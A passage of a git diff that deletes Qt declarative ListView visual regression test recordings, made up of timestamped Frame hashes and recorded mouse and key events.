0 - sendToViewport: true - } - Frame { - msec: 7536 - hash: "5263016e53327df1972498b55a60c0ed" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 517; y: 219 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7552 - hash: "6787a5a16d2a61643bb1435f6488ada6" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 518; y: 215 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7568 - hash: "1feabcd683590c3d28d899167e6278b3" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 519; y: 208 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7584 - hash: "c0495d6083b2e4ddd2b1dca2f231529c" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 520; y: 202 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7600 - hash: "cb302493a17c1806dfcdf002c44e7acd" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 521; y: 196 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7616 - hash: "f3822b79b678532ce7f826952636be90" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 521; y: 189 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7632 - hash: "6e30eed182c38be110ba9c7e95b223be" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 521; y: 185 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7648 - hash: "9e3ad0331c0c041b9a5747a1d44a43fe" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 521; y: 177 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7664 - hash: "791e6abf9dae670770c2429ee9f1ad71" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 521; y: 169 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7680 - image: "listview.7.png" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 521; y: 160 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7696 - hash: "d3ae366fb8212cb987e23150802c88e3" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 521; y: 156 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7712 - hash: "b87708e19d7e8b64fe1ab50ec1723975" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 521; y: 147 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7728 - hash: "512678e45cdd8d48e10b08ee020afe8e" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 521; y: 144 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7744 - hash: "211aa70e813819d476996b3396e9e5a0" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 521; y: 137 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7760 - hash: "f16eaa360604be84ce61364ad9733b52" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 521; y: 130 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7776 - hash: "d3af36dfb187d08abe1458f186a935a2" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 521; y: 124 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7792 - hash: "9d0a0ba1deb7c4a4a8838e5e6a27f2f6" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 521; y: 122 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7808 - hash: "69aac14f4c137e66724ca33f00a86676" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 521; y: 116 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7824 - hash: "893d56e2a2ca257fae9f0c6c0629903d" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 521; y: 111 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7840 - hash: "b9f734e57a72e33973740a59776948d9" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 521; y: 106 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7856 - hash: "e4b0f3f6a6785d7a183e4a36c5803301" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 521; y: 104 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7872 - hash: "99ee1e8803c05e546a721b0c9ee39499" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 521; y: 101 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7888 - hash: "96e7da2f895500a786ed36cb295e9003" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 521; y: 99 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7904 - hash: "cd369fc5dc31814208e56cf7cd0decea" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 521; y: 97 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7920 - hash: "5fee72994b65a45b4900a3073f86a3e1" - } - Frame { - msec: 7936 - hash: "9a2f8a65d842b8f92998e6411f7cd53c" - } - Frame { - msec: 7952 - hash: "2848d69017ce71ae101ccdfa7c67f933" - } - Frame { - msec: 7968 - hash: "6568aa88e81f988f65da435df7166167" - } - Frame { - msec: 7984 - hash: "d5f15ee08a2d7667786757a378a7a7f4" - } - Frame { - msec: 8000 - hash: "9b566bd02a561b32d1a4c1ec99c2e2c3" - } - Frame { - msec: 8016 - hash: "580419e1c9e91046547d913f6b8790a4" - } - Frame { - msec: 8032 - hash: "a5a3cd610ec0b35af1295ee6c41e09e3" - } - Frame { - msec: 8048 - hash: "a5a3cd610ec0b35af1295ee6c41e09e3" - } - Frame { - msec: 8064 - hash: "a5a3cd610ec0b35af1295ee6c41e09e3" - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 521; y: 97 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 8080 - hash: "a5a3cd610ec0b35af1295ee6c41e09e3" - } - Frame { - msec: 8096 - hash: "a5a3cd610ec0b35af1295ee6c41e09e3" - } - Frame { - msec: 8112 - hash: "83b91a371d682a501bc3a3fceabe4f8c" - } - Frame { - msec: 8128 - hash: "798b1dbfa0cce362213f426e2c60ac0e" - } - Frame { - msec: 8144 - hash: "d71b6a693c430a618c23413cb65bb320" - } - Frame { - msec: 8160 - hash: "2baae394390da39447a67151bc503d65" - } - Frame { - msec: 8176 - hash: "06688b05c61a7b862d39534207a8adab" - } - Frame { - msec: 8192 - hash: "a1d3042e16709817906dcdc673ee52c7" - } - Frame { - msec: 8208 - hash: "236dd41feac1b1a8a4bd7911bb184da2" - } - Frame { - msec: 8224 - hash: "f3ec821bba1d32e90bdab0e85c07d7d8" - } - Frame { - msec: 8240 - hash: "e328c35adf7ffc3d7e3af97e798ec8a5" - } - Frame { - msec: 8256 - hash: "651101db68fd3ed1dc5f441c126dc31b" - } - Frame { - msec: 8272 - hash: "651101db68fd3ed1dc5f441c126dc31b" - } - Frame { - msec: 8288 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8304 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8320 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8336 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8352 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8368 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8384 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8400 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8416 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8432 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8448 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8464 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8480 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8496 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8512 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8528 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8544 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8560 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8576 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8592 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8608 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8624 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8640 - image: "listview.8.png" - } - Frame { - msec: 8656 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8672 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8688 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8704 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8720 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8736 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8752 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8768 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8784 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8800 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8816 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8832 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8848 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8864 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8880 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8896 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8912 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8928 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8944 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8960 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8976 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 8992 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 9008 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 9024 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 9040 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 9056 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 9072 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 9088 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 9104 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 9120 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 9136 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 9152 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 9168 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 9184 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 9200 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 9216 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 9232 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 9248 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 9264 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 9280 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 9296 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 9312 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 9328 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 9344 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 9360 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 9376 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 9392 - hash: "1171be123a361d72859c25434573482c" - } - Frame { - msec: 9408 - hash: "1171be123a361d72859c25434573482c" - } -} diff --git a/tests/auto/declarative/visual/ListView/data-X11/basic1.qml b/tests/auto/declarative/visual/ListView/data-X11/basic1.qml deleted file mode 100644 index ae59b14..0000000 --- a/tests/auto/declarative/visual/ListView/data-X11/basic1.qml +++ /dev/null @@ -1,159 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 32 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 48 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 64 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 80 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 96 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 112 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 128 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 144 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 160 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 176 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 192 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 208 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 224 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 240 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 256 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 272 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 288 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 304 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 320 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 336 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 352 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 368 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 384 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 400 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 416 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 432 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 448 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 464 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 480 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 496 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 512 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 528 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Key { - type: 6 - key: 16777249 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 544 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 560 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 576 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } -} diff --git a/tests/auto/declarative/visual/ListView/data-X11/basic2.qml b/tests/auto/declarative/visual/ListView/data-X11/basic2.qml deleted file mode 100644 index ff19d22..0000000 --- a/tests/auto/declarative/visual/ListView/data-X11/basic2.qml +++ /dev/null @@ -1,187 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 32 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 48 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 64 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 80 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 96 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 112 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 128 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 144 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 160 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 176 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 192 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 208 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 224 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 240 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 256 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 272 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 288 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 304 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 320 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 336 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 352 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 368 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 384 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 400 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 416 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 432 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 448 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 464 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 480 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 496 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 512 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 528 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 544 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 560 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 576 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 592 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 608 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 624 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 640 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Key { - type: 6 - key: 16777249 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 656 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 672 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 688 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } -} diff --git a/tests/auto/declarative/visual/ListView/data-X11/basic3.qml b/tests/auto/declarative/visual/ListView/data-X11/basic3.qml deleted file mode 100644 index 2f33cae..0000000 --- a/tests/auto/declarative/visual/ListView/data-X11/basic3.qml +++ /dev/null @@ -1,147 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 32 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 48 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 64 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 80 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 96 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 112 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 128 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 144 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 160 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 176 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 192 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 208 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 224 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 240 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 256 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 272 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 288 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 304 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 320 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 336 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 352 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 368 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 384 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 400 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 416 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 432 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 448 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 464 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Key { - type: 6 - key: 16777249 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 480 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 496 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 512 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 528 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } -} diff --git a/tests/auto/declarative/visual/ListView/data-X11/basic4.qml b/tests/auto/declarative/visual/ListView/data-X11/basic4.qml deleted file mode 100644 index 4b1c5cf..0000000 --- a/tests/auto/declarative/visual/ListView/data-X11/basic4.qml +++ /dev/null @@ -1,171 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 32 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 48 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 64 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 80 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 96 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 112 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 128 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 144 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 160 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 176 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 192 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 208 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 224 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 240 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 256 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 272 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 288 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 304 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 320 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 336 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 352 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 368 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 384 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 400 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 416 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 432 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 448 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 464 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 480 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 496 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 512 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 528 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Key { - type: 6 - key: 16777249 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 544 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 560 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 576 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 592 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 608 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } - Frame { - msec: 624 - hash: "c0dc2737283d8dfa62631e0cbb948b99" - } -} diff --git a/tests/auto/declarative/visual/ListView/data/basic1.qml b/tests/auto/declarative/visual/ListView/data/basic1.qml deleted file mode 100644 index 4cd44fc..0000000 --- a/tests/auto/declarative/visual/ListView/data/basic1.qml +++ /dev/null @@ -1,159 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 32 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 48 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 64 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 80 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 96 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 112 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 128 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 144 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 160 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 176 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 192 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 208 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 224 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 240 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 256 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 272 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 288 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 304 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 320 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 336 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 352 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 368 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 384 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 400 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 416 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 432 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 448 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 464 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 480 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 496 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 512 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 528 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Key { - type: 6 - key: 16777249 - modifiers: 67108864 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 544 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - } - Frame { - msec: 560 - hash: "c0ec1bac5550efaa1f8ce7b46c2fed94" - 